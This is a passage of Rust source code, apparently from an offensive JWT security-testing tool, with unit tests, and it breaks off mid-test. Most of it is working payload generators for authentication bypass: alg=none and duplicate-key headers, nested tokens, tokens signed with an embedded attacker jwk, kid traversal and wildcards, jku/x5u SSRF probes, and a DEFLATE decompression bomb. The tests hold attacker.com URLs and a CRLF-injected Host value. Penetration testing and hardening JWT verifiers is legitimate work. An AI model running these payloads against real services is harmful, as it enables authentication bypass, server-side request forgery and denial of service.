pub fn generate_jku_x5u_ssrf_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;
    let mut payloads = Vec::new();
    for key_type in ["jku", "x5u"] {
        for url in ssrf_probe_urls() {
            let header = json!({
                "alg": "hs256",
                key_type: url,
                "typ": "JWT",
            });
            payloads.push(encode_header_with_claims(&header, claims_part)?);
        }
    }
    info!("Generated jku/x5u SSRF probe payloads");
    Ok(payloads)
}

/// Generate `zip` parameter variants and a DEFLATE decompression-bomb claim.
///
/// Covers: non-standard zip values (GZIP, unknown, null), and a real
/// compression bomb where the encoded claims segment is small but decompresses
/// to a large JSON object — useful for probing DoS handling.
pub fn generate_zip_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;
    let mut payloads = Vec::new();

    // Non-standard zip header values — claims segment stays the original.
    for zip_val in [
        json!("GZIP"),
        json!("unknown"),
        json!(""),
        serde_json::Value::Null,
        json!(["DEF"]),
    ] {
        let header = json!({ "alg": "HS256", "typ": "JWT", "zip": zip_val });
        payloads.push(encode_header_with_claims(&header, claims_part)?);
    }

    // Decompression bomb: payload of 1 MiB of 'A' characters wrapped in a JSON
    // string. DEFLATE compresses this down to a few hundred bytes; the server
    // pays the decompression cost.
    let bomb_json = format!("{{\"data\":\"{}\"}}", "A".repeat(1024 * 1024));
    let compressed = crate::utils::compression::compress_deflate(bomb_json.as_bytes())?;
    let bomb_claims_b64 = general_purpose::URL_SAFE_NO_PAD.encode(&compressed);
    let bomb_header = json!({ "alg": "HS256", "typ": "JWT", "zip": "DEF" });
    let bomb_header_json = serde_json::to_string(&bomb_header)?;
    let bomb_header_b64 = general_purpose::URL_SAFE_NO_PAD.encode(bomb_header_json.as_bytes());
    // Sign with empty HMAC so downstream test consumers can verify shape; the
    // server may reject before signature check, which is itself useful info.
    let signing = format!("{bomb_header_b64}.{bomb_claims_b64}");
    payloads.push(sign_hs256(&signing, b""));

    info!("Generated zip variant + decompression bomb payloads");
    Ok(payloads)
}

/// Generate `kid` payloads pointing at predictable, content-stable files.
///
/// When `secret_bytes` is provided, every payload is HS256-signed with those
/// bytes (matching the file's contents on disk). With `None`, only the empty
/// secret is assumed — useful for `/dev/null`-style nulls, otherwise the
/// caller should re-sign with the file's bytes once known.
pub fn generate_kid_predictable_payload(
    token: &str,
    secret_bytes: Option<&[u8]>,
) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let candidate_paths = [
        "css/main.css",
        "static/css/main.css",
        "js/main.js",
        "static/js/main.js",
        "robots.txt",
        "favicon.ico",
        "index.html",
        "../static/css/main.css",
        "../../static/css/main.css",
        "../../../static/css/main.css",
        "public/index.html",
        "assets/logo.svg",
    ];

    let secret = secret_bytes.unwrap_or(b"");
    let mut payloads = Vec::with_capacity(candidate_paths.len());
    for kid in candidate_paths {
        let header = json!({
            "alg": "HS256",
            "typ": "JWT",
            "kid": kid,
        });
        let input = build_signing_input(&header, claims_part)?;
        payloads.push(sign_hs256(&input, secret));
    }
    info!(
        "Generated kid predictable-path payloads ({} bytes secret)",
        secret.len()
    );
    Ok(payloads)
}

/// Generate headers with duplicate JSON keys.
///
/// JSON parsers diverge on duplicate keys (some take first, some take last,
/// some error). Two stacks side-by-side — `{"alg":"none","alg":"HS256"}` —
/// let an attacker pick whichever interpretation the verifier disagrees with
/// (e.g. server reads first → `none`, but signature check skipped). Headers
/// are built as raw JSON so serde's dedup doesn't collapse them.
pub fn generate_duplicate_key_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    let raw_headers: &[&str] = &[
        r#"{"alg":"none","typ":"JWT","alg":"HS256"}"#,
        r#"{"alg":"HS256","typ":"JWT","alg":"none"}"#,
        r#"{"alg":"none","alg":"HS256","typ":"JWT"}"#,
        r#"{"alg":"HS256","typ":"JWT","typ":"JOSE"}"#,
        r#"{"typ":"JWT","alg":"HS256","kid":"a","kid":"b"}"#,
    ];

    let mut payloads = Vec::with_capacity(raw_headers.len() * 2);
    for raw in raw_headers {
        let header_b64 = general_purpose::URL_SAFE_NO_PAD.encode(raw.as_bytes());
        // Unsigned (probes parse-then-skip behavior)
        payloads.push(format!("{header_b64}.{claims_part}"));
        // HS256-signed with empty secret (probes "verify with fallback key" behavior)
        let signing = format!("{header_b64}.{claims_part}");
        payloads.push(sign_hs256(&signing, b""));
    }
    info!("Generated duplicate-JSON-key header payloads");
    Ok(payloads)
}

/// Generate nested JWT payloads (`cty: JWT`).
///
/// RFC 7519 §11.2: when the outer header sets `cty=JWT`, the payload is itself
/// an encoded JWT. Servers that recursively unpack but verify only one layer
/// can be tricked into honouring an inner `alg: none` token. Emits three
/// outer/inner combinations.
pub fn generate_nested_jwt_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    // Inner JWT carrying the original claims, with alg=none and no signature.
    let inner_header_none = json!({ "alg": "none", "typ": "JWT" });
    let inner_header_b64 = general_purpose::URL_SAFE_NO_PAD
        .encode(serde_json::to_string(&inner_header_none)?.as_bytes());
    let inner_none = format!("{inner_header_b64}.{claims_part}.");

    // Inner HS256-signed with empty secret, in case the server fast-paths cty=JWT.
    let inner_header_hs = json!({ "alg": "HS256", "typ": "JWT" });
    let inner_hs_input = build_signing_input(&inner_header_hs, claims_part)?;
    let inner_hs = sign_hs256(&inner_hs_input, b"");

    let mut payloads = Vec::new();

    // Outer alg=none + cty=JWT + inner alg=none
    {
        let outer = json!({ "alg": "none", "typ": "JWT", "cty": "JWT" });
        let claims_b64 = general_purpose::URL_SAFE_NO_PAD.encode(inner_none.as_bytes());
        let header_b64 =
            general_purpose::URL_SAFE_NO_PAD.encode(serde_json::to_string(&outer)?.as_bytes());
        payloads.push(format!("{header_b64}.{claims_b64}."));
    }

    // Outer HS256 (empty secret) + cty=JWT + inner alg=none
    {
        let outer = json!({ "alg": "HS256", "typ": "JWT", "cty": "JWT" });
        let claims_b64 = general_purpose::URL_SAFE_NO_PAD.encode(inner_none.as_bytes());
        let header_b64 =
            general_purpose::URL_SAFE_NO_PAD.encode(serde_json::to_string(&outer)?.as_bytes());
        let signing = format!("{header_b64}.{claims_b64}");
        payloads.push(sign_hs256(&signing, b""));
    }

    // Outer HS256 + cty=JWT + inner HS256 (empty secret)
    {
        let outer = json!({ "alg": "HS256", "typ": "JWT", "cty": "JWT" });
        let claims_b64 = general_purpose::URL_SAFE_NO_PAD.encode(inner_hs.as_bytes());
        let header_b64 =
            general_purpose::URL_SAFE_NO_PAD.encode(serde_json::to_string(&outer)?.as_bytes());
        let signing = format!("{header_b64}.{claims_b64}");
        payloads.push(sign_hs256(&signing, b""));
    }

    info!("Generated nested JWT (cty=JWT) payloads");
    Ok(payloads)
}

/// Generate an ES256 token with an EC public key embedded in the `jwk` header.
///
/// Mirrors [`generate_jwk_embed_payload`] but for ECDSA P-256. Libraries that
/// derive the verification key from the embedded `jwk` will validate it.
pub fn generate_jwk_embed_ec_payload(token: &str) -> Result<String> {
    use openssl::bn::{BigNum, BigNumContext};
    use openssl::ec::{EcGroup, EcKey};
    use openssl::nid::Nid;
    use openssl::pkey::PKey;

    let claims_part = extract_claims_part(token)?;

    let group = EcGroup::from_curve_name(Nid::X9_62_PRIME256V1)
        .map_err(|e| anyhow::anyhow!("EC group: {e}"))?;
    let ec = EcKey::generate(&group).map_err(|e| anyhow::anyhow!("EC gen: {e}"))?;
    let pkey = PKey::from_ec_key(ec.clone()).map_err(|e| anyhow::anyhow!("EC pkey: {e}"))?;

    let mut ctx = BigNumContext::new()?;
    let mut x = BigNum::new()?;
    let mut y = BigNum::new()?;
    ec.public_key()
        .affine_coordinates(&group, &mut x, &mut y, &mut ctx)
        .map_err(|e| anyhow::anyhow!("EC coords: {e}"))?;

    // P-256 coords are exactly 32 bytes — left-pad if BigNum trims leading zeros.
    fn pad32(bytes: Vec<u8>) -> Vec<u8> {
        if bytes.len() >= 32 {
            bytes
        } else {
            let mut out = vec![0u8; 32 - bytes.len()];
            out.extend_from_slice(&bytes);
            out
        }
    }
    let x_b64 = general_purpose::URL_SAFE_NO_PAD.encode(pad32(x.to_vec()));
    let y_b64 = general_purpose::URL_SAFE_NO_PAD.encode(pad32(y.to_vec()));

    let kid = "jwt-hack-injected-ec";
    let jwk = json!({
        "kty": "EC",
        "crv": "P-256",
        "use": "sig",
        "alg": "ES256",
        "kid": kid,
        "x": x_b64,
        "y": y_b64,
    });

    let header = json!({
        "alg": "ES256",
        "typ": "JWT",
        "kid": kid,
        "jwk": jwk,
    });

    let input = build_signing_input(&header, claims_part)?;
    let pem = pkey
        .private_key_to_pem_pkcs8()
        .map_err(|e| anyhow::anyhow!("export EC private key: {e}"))?;
    let key = jsonwebtoken::EncodingKey::from_ec_pem(&pem)?;
    let sig_b64 =
        jsonwebtoken::crypto::sign(input.as_bytes(), &key, jsonwebtoken::Algorithm::ES256)?;

    info!("Generated EC jwk-embedded ES256 payload (signed with embedded key)");
    Ok(format!("{input}.{sig_b64}"))
}

/// Emit the token in **JWS Flattened JSON Serialization** form.
///
/// RFC 7515 §7.2.2 defines `{"protected":..., "payload":..., "signature":...}`
/// as an alternative to the compact `h.p.s` encoding. Servers that auto-detect
/// based on first byte may parse this without applying compact-form-only
/// validation paths. Three variants: passthrough of the original parts, a
/// downgrade where `protected` carries `alg: none` (signature kept as the
/// original bytes, which a `none`-honouring lib will not actually verify),
/// and a Flattened variant that adds an unprotected `header` with `alg: none`
/// alongside the original `protected` header.
pub fn generate_jws_json_payload(token: &str) -> Result<Vec<String>> {
    let parts: Vec<&str> = token.split('.').collect();
    if parts.len() < 2 {
        return Err(anyhow::anyhow!("Invalid token format"));
    }
    let original_header = parts[0];
    let claims_part = parts[1];
    let original_sig = parts.get(2).copied().unwrap_or("");

    let mut payloads = Vec::new();

    // Passthrough — same parts, JSON-wrapped.
    payloads.push(
        serde_json::to_string(&json!({
            "protected": original_header,
            "payload": claims_part,
            "signature": original_sig,
        }))
        .unwrap(),
    );

    // alg=none downgrade with original signature retained verbatim.
    let none_header = json!({ "alg": "none", "typ": "JWT" });
    let none_b64 = general_purpose::URL_SAFE_NO_PAD
        .encode(serde_json::to_string(&none_header).unwrap().as_bytes());
    payloads.push(
        serde_json::to_string(&json!({
            "protected": none_b64,
            "payload": claims_part,
            "signature": original_sig,
        }))
        .unwrap(),
    );

    // General serialization variant with an unprotected header carrying alg=none.
    payloads.push(
        serde_json::to_string(&json!({
            "protected": original_header,
            "header": { "alg": "none" },
            "payload": claims_part,
            "signature": original_sig,
        }))
        .unwrap(),
    );

    info!("Generated JWS Flattened JSON serialization payloads");
    Ok(payloads)
}

/// Generate cross-family `alg` swaps (RS↔PS, ES curves, HS hash sizes).
///
/// **This is a differential-response probe, not a forged token.** The original
/// signature was computed over the *original* signing input; this generator
/// only swaps `alg`, so under any correct implementation verification will
/// fail. The value is in observing *how* the server fails — e.g. a 500 vs 401
/// or a different error message can reveal that the verifier was selected
/// based on the new `alg` (RSASSA-PSS instead of PKCS1-v1_5, ES384 instead of
/// ES256, …) before signature verification, leaking which code path is wired
/// up. All other header fields (`kid`, `jwk`, `jku`, `x5u`, etc.) are
/// preserved so the server still locates the same verification key.
pub fn generate_alg_family_swap_payload(token: &str) -> Result<Vec<String>> {
    let parts: Vec<&str> = token.split('.').collect();
    if parts.len() < 2 {
        return Err(anyhow::anyhow!("Invalid token format"));
    }
    let claims_part = parts[1];
    let original_sig = parts.get(2).copied().unwrap_or("");
    let source_alg = original_alg(token).unwrap_or_else(|| "RS256".to_string());

    // Decode the original header so we can preserve kid/jwk/jku/x5u/etc.
    let original_header_b64 = parts[0];
    let original_header: serde_json::Value =
        match general_purpose::URL_SAFE_NO_PAD.decode(original_header_b64) {
            Ok(bytes) => serde_json::from_slice(&bytes).unwrap_or_else(|_| json!({ "typ": "JWT" })),
            Err(_) => json!({ "typ": "JWT" }),
        };

    // (target alg) variants depending on source family.
    let targets: &[&str] = match source_alg.to_uppercase().as_str() {
        "RS256" => &["PS256", "RS384", "RS512", "PS384"],
        "RS384" => &["PS384", "RS256", "RS512", "PS256"],
        "RS512" => &["PS512", "RS256", "RS384", "PS256"],
        "PS256" => &["RS256", "PS384", "PS512", "RS384"],
        "PS384" => &["RS384", "PS256", "PS512", "RS256"],
        "PS512" => &["RS512", "PS256", "PS384", "RS256"],
        "ES256" => &["ES384", "ES512", "ES256K"],
        "ES384" => &["ES256", "ES512", "ES256K"],
        "ES512" => &["ES256", "ES384", "ES256K"],
        // For HMAC sources, swap within HMAC family — useful for hash-size confusion.
        "HS256" => &["HS384", "HS512"],
        "HS384" => &["HS256", "HS512"],
        "HS512" => &["HS256", "HS384"],
        _ => &["RS256", "PS256"],
    };

    let mut payloads = Vec::with_capacity(targets.len());
    for &target in targets {
        let mut header = original_header.clone();
        match header.as_object_mut() {
            Some(map) => {
                map.insert("alg".to_string(), json!(target));
            }
            None => {
                header = json!({ "alg": target, "typ": "JWT" });
            }
        }
        let header_b64 = general_purpose::URL_SAFE_NO_PAD
            .encode(serde_json::to_string(&header).unwrap().as_bytes());
        payloads.push(format!("{header_b64}.{claims_part}.{original_sig}"));
    }
    info!(
        "Generated cross-family alg-swap payloads ({} -> {} variants)",
        source_alg,
        targets.len()
    );
    Ok(payloads)
}

/// Generate `alg: none` tokens that still carry a non-empty signature segment.
///
/// Some libraries treat `alg=none` as "skip verification" but still require a
/// non-empty third segment as a sanity check. Provides a few flavours of
/// signature bytes so callers can probe each branch.
pub fn generate_none_with_sig_payload(token: &str) -> Result<Vec<String>> {
    let parts: Vec<&str> = token.split('.').collect();
    if parts.len() < 2 {
        return Err(anyhow::anyhow!("Invalid token format"));
    }
    let claims_part = parts[1];
    let original_sig = parts.get(2).copied().unwrap_or("");

    let mut payloads = Vec::new();
    for alg in ["none", "NONE", "None", "nOnE"] {
        let header = json!({ "alg": alg, "typ": "JWT" });
        let header_b64 = general_purpose::URL_SAFE_NO_PAD
            .encode(serde_json::to_string(&header).unwrap().as_bytes());
        // Retained original signature — works against libs that read alg=none
        // but require a non-empty sig.
        if !original_sig.is_empty() {
            payloads.push(format!("{header_b64}.{claims_part}.{original_sig}"));
        }
        // Fake but well-formed base64url signatures.
        payloads.push(format!("{header_b64}.{claims_part}.AAAA"));
        payloads.push(format!("{header_b64}.{claims_part}.aGVsbG8td29ybGQ"));
    }
    info!("Generated alg=none + non-empty signature payloads");
    Ok(payloads)
}

/// Generate header-shape quirks: UTF-8 BOM, leading/trailing whitespace inside
/// the raw JSON header, and tokens with a 4th trailing-garbage segment.
///
/// Probes parsers that tolerate non-strict JSON or split tokens on first/last
/// `.` instead of validating a 3-segment shape.
pub fn generate_header_quirks_payload(token: &str) -> Result<Vec<String>> {
    let parts: Vec<&str> = token.split('.').collect();
    if parts.len() < 2 {
        return Err(anyhow::anyhow!("Invalid token format"));
    }
    let claims_part = parts[1];
    let original_sig = parts.get(2).copied().unwrap_or("");

    // Raw headers with non-strict prefixes/suffixes.
    let raw_variants: &[&[u8]] = &[
        // UTF-8 BOM before JSON.
        b"\xef\xbb\xbf{\"alg\":\"HS256\",\"typ\":\"JWT\"}",
        // Leading whitespace / newlines.
        b"   {\"alg\":\"HS256\",\"typ\":\"JWT\"}",
        b"\n{\"alg\":\"HS256\",\"typ\":\"JWT\"}",
        b"\t{\"alg\":\"none\",\"typ\":\"JWT\"}",
        // Trailing whitespace / newline.
        b"{\"alg\":\"HS256\",\"typ\":\"JWT\"}\n",
        b"{\"alg\":\"HS256\",\"typ\":\"JWT\"}   ",
        // BOM + alg=none combo.
        b"\xef\xbb\xbf{\"alg\":\"none\",\"typ\":\"JWT\"}",
    ];

    let mut payloads = Vec::new();
    for raw in raw_variants {
        let header_b64 = general_purpose::URL_SAFE_NO_PAD.encode(raw);
        // Unsigned (header.payload) — parser quirk surface.
        payloads.push(format!("{header_b64}.{claims_part}"));
        // HS256-signed with empty secret.
        let signing = format!("{header_b64}.{claims_part}");
        payloads.push(sign_hs256(&signing, b""));
    }

    // 4th-segment trailing garbage on the original token.
    let original_header = parts[0];
    if !original_sig.is_empty() {
        payloads.push(format!(
            "{original_header}.{claims_part}.{original_sig}.garbage"
        ));
        payloads.push(format!(
            "{original_header}.{claims_part}.{original_sig}.{original_sig}"
        ));
    } else {
        payloads.push(format!("{original_header}.{claims_part}..junk"));
    }

    info!("Generated header BOM/whitespace + trailing-garbage payloads");
    Ok(payloads)
}

/// Generate `kid` payloads with empty / null / wildcard / fallback names.
///
/// JWKS resolvers that fall back to a default key when `kid` is missing,
/// blank, or non-matching can be tricked into validating with a key that
/// the attacker controls. Each variant is HS256-signed with an empty secret.
pub fn generate_kid_wildcard_payload(token: &str) -> Result<Vec<String>> {
    let claims_part = extract_claims_part(token)?;

    // Headers with kid set to special values, plus a header that omits kid entirely.
    let kid_variants: Vec<serde_json::Value> = vec![
        json!({ "alg": "HS256", "typ": "JWT", "kid": "" }),
        json!({ "alg": "HS256", "typ": "JWT", "kid": serde_json::Value::Null }),
        json!({ "alg": "HS256", "typ": "JWT", "kid": "*" }),
        json!({ "alg": "HS256", "typ": "JWT", "kid": "default" }),
        json!({ "alg": "HS256", "typ": "JWT", "kid": "0" }),
        json!({ "alg": "HS256", "typ": "JWT", "kid": "1" }),
        // kid as wrong types — some parsers coerce.
        json!({ "alg": "HS256", "typ": "JWT", "kid": 0 }),
        json!({ "alg": "HS256", "typ": "JWT", "kid": ["a", "b"] }),
        // No kid at all — JWKS may fall back to a single configured key.
        json!({ "alg": "HS256", "typ": "JWT" }),
    ];

    let mut payloads = Vec::with_capacity(kid_variants.len());
    for header in kid_variants {
        let input = build_signing_input(&header, claims_part)?;
        payloads.push(sign_hs256(&input, b""));
    }
    info!("Generated kid empty/null/wildcard fallback payloads");
    Ok(payloads)
}

/// Generate all available payloads for a token
pub fn generate_all_payloads(
    token: &str,
    jwk_trust: Option<&str>,
    jwk_attack: Option<&str>,
    jwk_protocol: &str,
    target: Option<&str>,
) -> Result<Vec<String>> {
    let mut payloads = Vec::new();

    // Parse target parameter
    let targets: std::collections::HashSet<String> = match target {
        Some(t) => t.split(',').map(|s| s.trim().to_lowercase()).collect(),
        None => std::collections::HashSet::from(["all".to_string()]),
    };

    let should_generate_all = targets.contains("all");

    // None algorithm payloads
    if should_generate_all || targets.contains("none") {
        payloads.push(generate_none_payload(token, "none")?);
        payloads.push(generate_none_payload(token, "NonE")?);
        payloads.push(generate_none_payload(token, "NONE")?);
    }

    // URL payloads if attack domain is provided
    if let Some(attack_domain) = jwk_attack {
        // JKU payloads
        if should_generate_all || targets.contains("jku") {
            let jku_payloads =
                generate_url_payload(token, "jku", attack_domain, jwk_trust, jwk_protocol)?;
            payloads.extend(jku_payloads);
        }

        // X5U payloads
        if should_generate_all || targets.contains("x5u") {
            let x5u_payloads =
                generate_url_payload(token, "x5u", attack_domain, jwk_trust, jwk_protocol)?;
            payloads.extend(x5u_payloads);
        }
    }

    // Algorithm confusion payloads
    if should_generate_all || targets.contains("alg_confusion") {
        let alg_confusion_payloads = generate_alg_confusion_payload(token, None)?;
        payloads.extend(alg_confusion_payloads);
    }

    // kid SQL injection payloads
    if should_generate_all || targets.contains("kid_sql") {
        let kid_sql_payloads = generate_kid_sql_payload(token)?;
        payloads.extend(kid_sql_payloads);
    }

    // x5c header injection payloads
    if should_generate_all || targets.contains("x5c") {
        let x5c_payloads = generate_x5c_payload(token)?;
        payloads.extend(x5c_payloads);
    }

    // cty header manipulation payloads
    if should_generate_all || targets.contains("cty") {
        let cty_payloads = generate_cty_payload(token)?;
        payloads.extend(cty_payloads);
    }

    // jwk embedded header (real, signed attack)
    if should_generate_all || targets.contains("jwk_embed") {
        // This is intentionally allowed to bubble — RSA generation rarely fails.
        let p = generate_jwk_embed_payload(token)?;
        payloads.push(p);
    }

    // kid path-traversal payloads
    if should_generate_all || targets.contains("kid_traversal") {
        payloads.extend(generate_kid_traversal_payload(token)?);
    }

    // crit header bypass payloads
    if should_generate_all || targets.contains("crit") {
        payloads.extend(generate_crit_payload(token)?);
    }

    // RFC 7797 b64=false payloads
    if should_generate_all || targets.contains("b64") {
        payloads.extend(generate_b64_payload(token)?);
    }

    // Empty / stripped signature payloads
    if should_generate_all || targets.contains("empty_sig") {
        payloads.extend(generate_empty_sig_payload(token)?);
    }

    // x5c self-signed certificate (real, signed attack)
    if should_generate_all || targets.contains("x5c_signed") {
        payloads.push(generate_x5c_signed_payload(token)?);
    }

    // ECDSA psychic signatures (CVE-2022-21449)
    if should_generate_all || targets.contains("psychic") {
        payloads.extend(generate_psychic_signature_payload(token)?);
    }

    // typ confusion header variants
    if should_generate_all || targets.contains("typ_confusion") {
        payloads.extend(generate_typ_confusion_payload(token)?);
    }

    // alg edge values
    if should_generate_all || targets.contains("alg_edge") {
        payloads.extend(generate_alg_edge_payload(token)?);
    }

    // jku/x5u SSRF probes (no --jwk-attack required)
    if should_generate_all || targets.contains("ssrf") {
        payloads.extend(generate_jku_x5u_ssrf_payload(token)?);
    }

    // zip variants + decompression bomb
    if should_generate_all || targets.contains("zip") {
        payloads.extend(generate_zip_payload(token)?);
    }

    // kid predictable-path payloads (empty secret; CLI may pass bytes later)
    if should_generate_all || targets.contains("kid_predictable") {
        payloads.extend(generate_kid_predictable_payload(token, None)?);
    }

    // Duplicate-JSON-key headers
    if should_generate_all || targets.contains("dup_key") {
        payloads.extend(generate_duplicate_key_payload(token)?);
    }

    // Nested JWT (cty=JWT)
    if should_generate_all || targets.contains("nested") {
        payloads.extend(generate_nested_jwt_payload(token)?);
    }

    // EC variant of jwk-embed (real, signed attack)
    if should_generate_all || targets.contains("jwk_embed_ec") {
        payloads.push(generate_jwk_embed_ec_payload(token)?);
    }

    // JWS Flattened JSON serialization
    if should_generate_all || targets.contains("jws_json") {
        payloads.extend(generate_jws_json_payload(token)?);
    }

    // PS↔RS cross-family alg swaps (preserves original signature)
    if should_generate_all || targets.contains("alg_family_swap") {
        payloads.extend(generate_alg_family_swap_payload(token)?);
    }

    // alg=none retaining a non-empty signature segment
    if should_generate_all || targets.contains("none_sig") {
        payloads.extend(generate_none_with_sig_payload(token)?);
    }

    // BOM / whitespace / trailing-garbage parser quirks
    if should_generate_all || targets.contains("header_quirks") {
        payloads.extend(generate_header_quirks_payload(token)?);
    }

    // kid empty/null/wildcard fallback
    if should_generate_all || targets.contains("kid_wildcard") {
        payloads.extend(generate_kid_wildcard_payload(token)?);
    }

    Ok(payloads)
}

#[cfg(test)]
mod tests {
    use super::*;
    use base64::engine::general_purpose::URL_SAFE_NO_PAD;
    use serde_json::Value; // Engine trait itself is not directly used, URL_SAFE_NO_PAD is an instance

    const DUMMY_TOKEN: &str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";

    fn get_header_from_token(token_str: &str) -> Option<Value> {
        let parts: Vec<&str> = token_str.split('.').collect();
        if parts.is_empty() {
            // Should be parts.len() < 1, or more robustly parts.get(0).is_none()
            return None;
        }
        URL_SAFE_NO_PAD
            .decode(parts[0])
            .ok()
            .and_then(|bytes| serde_json::from_slice(&bytes).ok())
    }

    #[test]
    fn test_generate_none_payload_lowercase() {
        let result = generate_none_payload(DUMMY_TOKEN, "none");
        assert!(result.is_ok());
        let token = result.unwrap();
        // The function generate_none_payload currently creates a token with 2 parts (header.payload)
        assert_eq!(token.split('.').count(), 2, "Token should have 2 parts for 'none' alg without signature part explicitly added by the function.");

        let header =
            get_header_from_token(&token).expect("Failed to decode header from generated token");
        assert_eq!(header.get("alg").unwrap().as_str().unwrap(), "none");
        assert_eq!(header.get("typ").unwrap().as_str().unwrap(), "JWT");
    }

    #[test]
    fn test_generate_none_payload_mixed_case() {
        let result = generate_none_payload(DUMMY_TOKEN, "NonE");
        assert!(result.is_ok());
        let token = result.unwrap();
        let header =
            get_header_from_token(&token).expect("Failed to decode header from generated token");
        assert_eq!(header.get("alg").unwrap().as_str().unwrap(), "NonE");
    }

    #[test]
    fn test_generate_none_payload_uppercase() {
        let result = generate_none_payload(DUMMY_TOKEN, "NONE");
        assert!(result.is_ok());
        let token = result.unwrap();
        let header =
            get_header_from_token(&token).expect("Failed to decode header from generated token");
        assert_eq!(header.get("alg").unwrap().as_str().unwrap(), "NONE");
    }

    #[test]
    fn test_generate_none_payload_invalid_token_format() {
        let result = generate_none_payload("invalidtoken", "none"); // Only one part
        assert!(
            result.is_err(),
            "Expected error for invalid token format (single part)"
        );

        // For "headeronly.", parts are ["headeronly", ""]. len is 2. generate_none_payload should work.
        let result_no_payload = generate_none_payload("headeronly.", "none");
        assert!(
            result_no_payload.is_ok(),
            "Expected Ok for token 'headeronly.', got {:?}",
            result_no_payload.err()
        );
    }

    #[test]
    fn test_generate_url_payload_jku_basic() {
        let result = generate_url_payload(DUMMY_TOKEN, "jku", "attacker.com", None, "http");
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert_eq!(payloads.len(), 1);
        let header =
            get_header_from_token(&payloads[0]).expect("Failed to decode header from JKU payload");
        assert_eq!(header.get("alg").unwrap().as_str().unwrap(), "hs256"); // Default alg in function
        assert_eq!(header.get("typ").unwrap().as_str().unwrap(), "JWT");
        assert_eq!(header.get("jku").unwrap().as_str().unwrap(), "attacker.com");
    }

    #[test]
    fn test_generate_url_payload_x5u_with_trust() {
        let result = generate_url_payload(
            DUMMY_TOKEN,
            "x5u",
            "attacker.com",
            Some("victim.com"),
            "https",
        );
        assert!(result.is_ok());
        let payloads = result.unwrap();
        // Expected: basic, bypass_z, bypass_at, crlf = 4 payloads
        assert_eq!(
            payloads.len(),
            4,
            "Unexpected number of payloads for x5u with trust domain"
        );

        // Check basic payload
        let basic_payload = payloads
            .iter()
            .find(|p| {
                let hdr = get_header_from_token(p).unwrap();
                hdr.get("x5u").unwrap().as_str().unwrap() == "attacker.com"
            })
            .expect("Basic attacker.com payload not found");
        let basic_header = get_header_from_token(basic_payload).unwrap();
        assert_eq!(
            basic_header.get("x5u").unwrap().as_str().unwrap(),
            "attacker.com"
        );

        // Check for one of the bypass payloads (e.g., Z separator)
        assert!(
            payloads.iter().any(|p| {
                get_header_from_token(p)
                    .unwrap()
                    .get("x5u")
                    .unwrap()
                    .as_str()
                    .unwrap()
                    .contains("victim.comZattacker.com")
            }),
            "Bypass payload with Z separator not found"
        );
        assert!(
            payloads.iter().any(|p| {
                get_header_from_token(p)
                    .unwrap()
                    .get("x5u")
                    .unwrap()
                    .as_str()
                    .unwrap()
                    .contains("victim.com@attacker.com")
            }),
            "Bypass payload with @ separator not found"
        );
        assert!(
            payloads.iter().any(|p| {
                get_header_from_token(p)
                    .unwrap()
                    .get("x5u")
                    .unwrap()
                    .as_str()
                    .unwrap()
                    .contains("victim.com%0d%0aHost: attacker.com")
            }),
            "Bypass payload with CRLF not found"
        );
    }

    #[test]
    fn test_generate_url_payload_invalid_token_format() {
        // For "invalid.token", parts are ["invalid", "token"]. len is 2. generate_url_payload should work.
        let result = generate_url_payload("invalid.token", "jku", "attacker.com", None, "http");
        assert!(
            result.is_ok(),
            "Expected Ok for token 'invalid.token', got {:?}",
            result.err()
        );

        // Test with a single part token, which should fail
        let result_single_part =
            generate_url_payload("invalidtoken", "jku", "attacker.com", None, "http");
        assert!(
            result_single_part.is_err(),
            "Expected error for single part token in generate_url_payload"
        );
    }

    #[test]
    fn test_generate_alg_confusion_payload() {
        let result = generate_alg_confusion_payload(DUMMY_TOKEN, None);
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert!(!payloads.is_empty());

        // Check that the algorithm has been changed to HS256
        let header = get_header_from_token(&payloads[0])
            .expect("Failed to decode header from alg confusion payload");
        assert_eq!(
            header.get("alg").unwrap().as_str().unwrap().to_lowercase(),
            "hs256"
        );
    }

    #[test]
    fn test_generate_kid_sql_payload() {
        let result = generate_kid_sql_payload(DUMMY_TOKEN);
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert!(!payloads.is_empty());

        // Check that at least one payload contains a SQL injection pattern
        assert!(payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            let kid = header.get("kid").unwrap().as_str().unwrap();
            kid.contains("'") || kid.contains("UNION") || kid.contains("--")
        }));
    }

    #[test]
    fn test_generate_x5c_payload() {
        let result = generate_x5c_payload(DUMMY_TOKEN);
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert!(!payloads.is_empty());

        // Check that all payloads contain an x5c header
        assert!(payloads.iter().all(|p| {
            let header = get_header_from_token(p).unwrap();
            header.as_object().unwrap().contains_key("x5c")
        }));
    }

    #[test]
    fn test_generate_cty_payload() {
        let result = generate_cty_payload(DUMMY_TOKEN);
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert!(!payloads.is_empty());

        // Check for specific content types
        assert!(payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.get("cty").unwrap().as_str().unwrap() == "text/xml"
        }));

        assert!(payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.get("cty").unwrap().as_str().unwrap() == "application/x-java-serialized-object"
        }));
    }

    #[test]
    fn test_generate_all_payloads_basic() {
        let result = generate_all_payloads(DUMMY_TOKEN, None, None, "http", None);
        assert!(result.is_ok());
        let payloads = result.unwrap();
        // Expected: "none", "NonE", "NONE" + new attack payloads
        assert!(
            payloads.len() >= 3,
            "Expected at least 3 'none' algorithm payloads"
        );
        assert!(payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.get("alg").unwrap().as_str().unwrap().to_lowercase() == "none"
        }));
    }

    #[test]
